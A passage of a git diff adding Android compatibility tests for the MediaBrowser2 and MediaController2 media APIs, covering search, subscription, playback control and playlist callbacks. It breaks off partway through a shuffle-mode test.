+ for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+ int relativeIndex = originalIndex - fromIndex;
+ Assert.assertEquals(
+ MockMediaLibraryService2.SEARCH_RESULT.get(originalIndex).getMediaId(),
+ result.get(relativeIndex).getMediaId());
+ }
+ latchForGetSearchResult.countDown();
+ }
+ };
+
+ // Request the search.
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latchForSearch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+ // Get the search result.
+ browser.getSearchResult(query, page, pageSize, extras);
+ assertTrue(latchForGetSearchResult.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSearchTakesTime() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY_TAKES_TIME;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(
+ MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latch.await(
+ MockMediaLibraryService2.SEARCH_TIME_IN_MS + WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSearchEmptyResult() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY_EMPTY_RESULT;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(
+ MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(0, itemCount);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSubscribe() throws InterruptedException {
+ final String testParentId = "testSubscribeId";
+ final Bundle testExtras = new Bundle();
+ testExtras.putString(testParentId, testParentId);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+ @Override
+ public void onSubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId,
+ @Nullable Bundle extras) {
+ if (Process.myUid() == info.getUid()) {
+ assertEquals(testParentId, parentId);
+ assertTrue(TestUtils.equals(testExtras, extras));
+ latch.countDown();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(callback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token);
+ browser.subscribe(testParentId, testExtras);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Ignore
+ @Test
+ public void testUnsubscribe() throws InterruptedException {
+ final String testParentId = "testUnsubscribeId";
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+ @Override
+ public void onUnsubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId) {
+ if (Process.myUid() == info.getUid()) {
+ assertEquals(testParentId, parentId);
+ latch.countDown();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(callback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token);
+ browser.unsubscribe(testParentId);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testBrowserCallback_notifyChildrenChanged() throws InterruptedException {
+ // TODO(jaewan): Add test for the notifyChildrenChanged itself.
+ final String testParentId1 = "testBrowserCallback_notifyChildrenChanged_unexpectedParent";
+ final String testParentId2 = "testBrowserCallback_notifyChildrenChanged";
+ final int testChildrenCount = 101;
+ final Bundle testExtras = new Bundle();
+ testExtras.putString(testParentId1, testParentId1);
+
+ final CountDownLatch latch = new CountDownLatch(3);
+ final MediaLibrarySessionCallback sessionCallback =
+ new MediaLibrarySessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+ @NonNull ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ assertTrue(session instanceof MediaLibrarySession);
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = session;
+ // Shouldn't trigger onChildrenChanged() for the browser, because it
+ // hasn't subscribed.
+ ((MediaLibrarySession) session).notifyChildrenChanged(
+ testParentId1, testChildrenCount, null);
+ ((MediaLibrarySession) session).notifyChildrenChanged(
+ controller, testParentId1, testChildrenCount, null);
+ }
+ return super.onConnect(session, controller);
+ }
+
+ @Override
+ public void onSubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId,
+ @Nullable Bundle extras) {
+ if (Process.myUid() == info.getUid()) {
+ session.notifyChildrenChanged(testParentId2, testChildrenCount, null);
+ session.notifyChildrenChanged(info, testParentId2, testChildrenCount,
+ testExtras);
+ }
+ }
+ };
+ final BrowserCallback controllerCallbackProxy =
+ new BrowserCallback() {
+ @Override
+ public void onChildrenChanged(MediaBrowser2 browser, String parentId,
+ int itemCount, Bundle extras) {
+ switch ((int) latch.getCount()) {
+ case 3:
+ assertEquals(testParentId2, parentId);
+ assertEquals(testChildrenCount, itemCount);
+ assertNull(extras);
+ latch.countDown();
+ break;
+ case 2:
+ assertEquals(testParentId2, parentId);
+ assertEquals(testChildrenCount, itemCount);
+ assertTrue(TestUtils.equals(testExtras, extras));
+ latch.countDown();
+ break;
+ default:
+ // Unexpected call.
+ fail();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ final MediaBrowser2 browser = (MediaBrowser2) createController(
+ token, true, controllerCallbackProxy);
+ assertTrue(mSession instanceof MediaLibrarySession);
+ browser.subscribe(testParentId2, null);
+ // This ensures that onChildrenChanged() is only called for the expected reasons.
+ assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ public static class TestBrowserCallback extends BrowserCallback
+ implements WaitForConnectionInterface {
+ private final ControllerCallback mCallbackProxy;
+ public final CountDownLatch connectLatch = new CountDownLatch(1);
+ public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+ TestBrowserCallback(ControllerCallback callbackProxy) {
+ if (callbackProxy == null) {
+ throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+ }
+ mCallbackProxy = callbackProxy;
+ }
+
+ @CallSuper
+ @Override
+ public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+ connectLatch.countDown();
+ }
+
+ @CallSuper
+ @Override
+ public void onDisconnected(MediaController2 controller) {
+ disconnectLatch.countDown();
+ }
+
+ @Override
+ public void waitForConnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void waitForDisconnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ MediaController2.PlaybackInfo info) {
+ mCallbackProxy.onPlaybackInfoChanged(controller, info);
+ }
+
+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+ }
+
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+ mCallbackProxy.onCustomLayoutChanged(controller, layout);
+ }
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+ }
+
+ @Override
+ public void onPlayerStateChanged(MediaController2 controller, int state) {
+ mCallbackProxy.onPlayerStateChanged(controller, state);
+ }
+
+ @Override
+ public void onSeekCompleted(MediaController2 controller, long position) {
+ mCallbackProxy.onSeekCompleted(controller, position);
+ }
+
+ @Override
+ public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+ mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+ }
+
+ @Override
+ public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+ int state) {
+ mCallbackProxy.onBufferingStateChanged(controller, item, state);
+ }
+
+ @Override
+ public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+ mCallbackProxy.onError(controller, errorCode, extras);
+ }
+
+ @Override
+ public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+ mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+ }
+
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> list, MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+ }
+
+ @Override
+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+ }
+
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+ }
+
+ @Override
+ public void onGetLibraryRootDone(MediaBrowser2 browser, Bundle rootHints,
+ String rootMediaId, Bundle rootExtra) {
+ super.onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+ }
+ }
+
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaId, MediaItem2 result) {
+ super.onGetItemDone(browser, mediaId, result);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy).onGetItemDone(browser, mediaId, result);
+ }
+ }
+
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentId, int page,
+ int pageSize, List<MediaItem2> result, Bundle extras) {
+ super.onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+ }
+ }
+
+ @Override
+ public void onSearchResultChanged(MediaBrowser2 browser, String query, int itemCount,
+ Bundle extras) {
+ super.onSearchResultChanged(browser, query, itemCount, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onSearchResultChanged(browser, query, itemCount, extras);
+ }
+ }
+
+ @Override
+ public void onGetSearchResultDone(MediaBrowser2 browser, String query, int page,
+ int pageSize, List<MediaItem2> result, Bundle extras) {
+ super.onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+ }
+ }
+
+ @Override
+ public void onChildrenChanged(MediaBrowser2 browser, String parentId, int itemCount,
+ Bundle extras) {
+ super.onChildrenChanged(browser, parentId, itemCount, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onChildrenChanged(browser, parentId, itemCount, extras);
+ }
+ }
+ }
+
+ public class TestMediaBrowser extends MediaBrowser2 implements TestControllerInterface {
+ private final BrowserCallback mCallback;
+
+ public TestMediaBrowser(@NonNull Context context, @NonNull SessionToken2 token,
+ @NonNull ControllerCallback callback) {
+ super(context, token, sHandlerExecutor, (BrowserCallback) callback);
+ mCallback = (BrowserCallback) callback;
+ }
+
+ @Override
+ public BrowserCallback getCallback() {
+ return mCallback;
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
new file mode 100644
index 0000000..755801d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaController2Test.java
@@ -0,0 +1,1132 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.Rating2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.VolumeProvider2;
+import android.media.cts.TestServiceRegistry.SessionServiceCallback;
+import android.media.cts.TestUtils.SyncHandler;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Tests {@link MediaController2}.
+ */
+// TODO(jaewan): Implement host-side test so controller and session can run in different processes.
+// TODO(jaewan): Fix flaky failure -- see MediaController2Impl.getController()
+// TODO(jaeawn): Revisit create/close session in the sHandler. It's no longer necessary.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@FlakyTest
+@Ignore
+public class MediaController2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaController2Test";
+
+ PendingIntent mIntent;
+ MediaSession2 mSession;
+ MediaController2 mController;
+ MockPlayer mPlayer;
+ MockPlaylistAgent mMockAgent;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ final Intent sessionActivity = new Intent(mContext, MockActivity.class);
+ // Create this test specific MediaSession2 to use our own Handler.
+ mIntent = PendingIntent.getActivity(mContext, 0, sessionActivity, 0);
+
+ mPlayer = new MockPlayer(1);
+ mMockAgent = new MockPlaylistAgent();
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(mMockAgent)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ return super.onConnect(session, controller);
+ }
+ return null;
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaSession2 session,
+ MediaPlaylistAgent playlistAgent,
+ MediaMetadata2 metadata) {
+ super.onPlaylistMetadataChanged(session, playlistAgent, metadata);
+ }
+ })
+ .setSessionActivity(mIntent)
+ .setId(TAG).build();
+ mController = createController(mSession.getToken());
+ TestServiceRegistry.getInstance().setHandler(sHandler);
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ if (mSession != null) {
+ mSession.close();
+ }
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ /**
+ * Test if the {@link MediaSession2TestBase.TestControllerCallback} wraps the callback proxy
+ * without missing any method.
+ */
+ @Test
+ public void testTestControllerCallback() {
+ Method[] methods = TestControllerCallback.class.getMethods();
+ assertNotNull(methods);
+ for (int i = 0; i < methods.length; i++) {
+ // For any methods in the controller callback, TestControllerCallback should have
+ // overriden the method and call matching API in the callback proxy.
+ assertNotEquals("TestControllerCallback should override " + methods[i]
+ + " and call callback proxy",
+ ControllerCallback.class, methods[i].getDeclaringClass());
+ }
+ }
+
+ @Test
+ public void testPlay() {
+ mController.play();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPlayCalled);
+ }
+
+ @Test
+ public void testPause() {
+ mController.pause();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPauseCalled);
+ }
+
+ @Ignore
+ @Test
+ public void testStop() {
+ mController.stop();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mStopCalled);
+ }
+
+ @Test
+ public void testPrepare() {
+ mController.prepare();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPrepareCalled);
+ }
+
+ @Test
+ public void testFastForward() {
+ // TODO(jaewan): Implement
+ }
+
+ @Test
+ public void testRewind() {
+ // TODO(jaewan): Implement
+ }
+
+ @Test
+ public void testSeekTo() {
+ final long seekPosition = 12125L;
+ mController.seekTo(seekPosition);
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mSeekToCalled);
+ assertEquals(seekPosition, mPlayer.mSeekPosition);
+ }
+
+ @Test
+ public void testGettersAfterConnected() throws InterruptedException {
+ final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final long position = 150000;
+ final long bufferedPosition = 900000;
+
+ mPlayer.mLastPlayerState = state;
+ mPlayer.mCurrentPosition = position;
+ mPlayer.mBufferedPosition = bufferedPosition;
+
+ MediaController2 controller = createController(mSession.getToken());
+ assertEquals(state, controller.getPlayerState());
+ assertEquals(bufferedPosition, controller.getBufferedPosition());
+ // TODO (jaewan): Enable this test when Session2/Controller2's get(set)PlaybackSpeed
+ // is implemented. (b/74093080)
+ //assertEquals(speed, controller.getPlaybackSpeed());
+ //assertEquals(position + speed * elapsedTime, controller.getPosition(), delta);
+ }
+
+ @Test
+ public void testGetSessionActivity() {
+ PendingIntent sessionActivity = mController.getSessionActivity();
+ assertEquals(mContext.getPackageName(), sessionActivity.getCreatorPackage());
+ assertEquals(Process.myUid(), sessionActivity.getCreatorUid());
+ }
+
+ @Test
+ public void testSetPlaylist() throws InterruptedException {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mController.setPlaylist(list, null /* Metadata */);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetPlaylistCalled);
+ assertNull(mMockAgent.mMetadata);
+
+ assertNotNull(mMockAgent.mPlaylist);
+ assertEquals(list.size(), mMockAgent.mPlaylist.size());
+ for (int i = 0; i < list.size(); i++) {
+ // MediaController2.setPlaylist does not ensure the equality of the items.
+ assertEquals(list.get(i).getMediaId(), mMockAgent.mPlaylist.get(i).getMediaId());
+ }
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onPlaylistChanged(
+ * MediaController2, List, MediaMetadata2)}.
+ */
+ @Test
+ public void testGetPlaylist() throws InterruptedException {
+ final List<MediaItem2> testList = TestUtils.createPlaylist(2);
+ final AtomicReference<List<MediaItem2>> listFromCallback = new AtomicReference<>();
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> playlist, MediaMetadata2 metadata) {
+ assertNotNull(playlist);
+ assertEquals(testList.size(), playlist.size());
+ for (int i = 0; i < playlist.size(); i++) {
+ assertEquals(testList.get(i).getMediaId(), playlist.get(i).getMediaId());
+ }
+ listFromCallback.set(playlist);
+ latch.countDown();
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return testList;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testControllerCallback_onPlaylistChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(
+ session.getToken(), true, callback);
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(listFromCallback.get(), controller.getPlaylist());
+ }
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() throws InterruptedException {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mController.updatePlaylistMetadata(testMetadata);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+ assertNotNull(mMockAgent.mMetadata);
+ assertEquals(testMetadata.getMediaId(), mMockAgent.mMetadata.getMediaId());
+ }
+
+ @Test
+ public void testGetPlaylistMetadata() throws InterruptedException {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ final AtomicReference<MediaMetadata2> metadataFromCallback = new AtomicReference<>();
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ assertNotNull(testMetadata);
+ assertEquals(testMetadata.getMediaId(), metadata.getMediaId());
+ metadataFromCallback.set(metadata);
+ latch.countDown();
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return testMetadata;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testGetPlaylistMetadata")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(session.getToken(), true, callback);
+ agent.notifyPlaylistMetadataChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(metadataFromCallback.get().getMediaId(),
+ controller.getPlaylistMetadata().getMediaId());
+ }
+ }
+
+ /**
+ * Test whether {@link MediaSession2#setPlaylist(List, MediaMetadata2)} is notified
+ * through the
+ * {@link ControllerCallback#onPlaylistMetadataChanged(MediaController2, MediaMetadata2)}
+ * if the controller doesn't have {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST} but
+ * {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST_METADATA}.
+ */
+ @Test
+ public void testControllerCallback_onPlaylistMetadataChanged() throws InterruptedException {
+ final MediaItem2 item = TestUtils.createMediaItemWithMetadata();
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ final CountDownLatch latch = new CountDownLatch(2);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ assertNotNull(metadata);
+ assertEquals(item.getMediaId(), metadata.getMediaId());
+ latch.countDown();
+ }
+ };
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addCommand(new SessionCommand2(
+ SessionCommand2.COMMAND_CODE_PLAYLIST_GET_LIST_METADATA));
+ return commands;
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return item.getMetadata();
+ }
+
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testControllerCallback_onPlaylistMetadataChanged")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(session.getToken(), true, callback);
+ agent.notifyPlaylistMetadataChanged();
+ // It also calls onPlaylistMetadataChanged() if it doesn't have permission for getList()
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testAddPlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mController.addPlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mAddPlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ // MediaController2.addPlaylistItem does not ensure the equality of the items.
+ assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+ }
+
+ @Test
+ public void testRemovePlaylistItem() throws InterruptedException {
+ mMockAgent.mPlaylist = TestUtils.createPlaylist(2);
+
+ // Recreate controller for sending removePlaylistItem.
+ // It's easier to ensure that MediaController2.getPlaylist() returns the playlist from the
+ // agent.
+ MediaController2 controller = createController(mSession.getToken());
+ MediaItem2 targetItem = controller.getPlaylist().get(0);
+ controller.removePlaylistItem(targetItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+ assertEquals(targetItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mController.replacePlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+ // MediaController2.replacePlaylistItem does not ensure the equality of the items.
+ assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+ }
+
+ @Test
+ public void testSkipToPreviousItem() throws InterruptedException {
+ mController.skipToPreviousItem();
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+ }
+
+ @Test
+ public void testSkipToNextItem() throws InterruptedException {
+ mController.skipToNextItem();
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mMockAgent.mSkipToNextItemCalled);
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws InterruptedException {
+ MediaController2 controller = createController(mSession.getToken());
+ MediaItem2 targetItem = TestUtils.createMediaItemWithMetadata();
+ controller.skipToPlaylistItem(targetItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+ assertEquals(targetItem, mMockAgent.mItem);
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onShuffleModeChanged(MediaController2, int)}.
+ */
+ @Test
+ public void testGetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getShuffleMode() {
+ return testShuffleMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
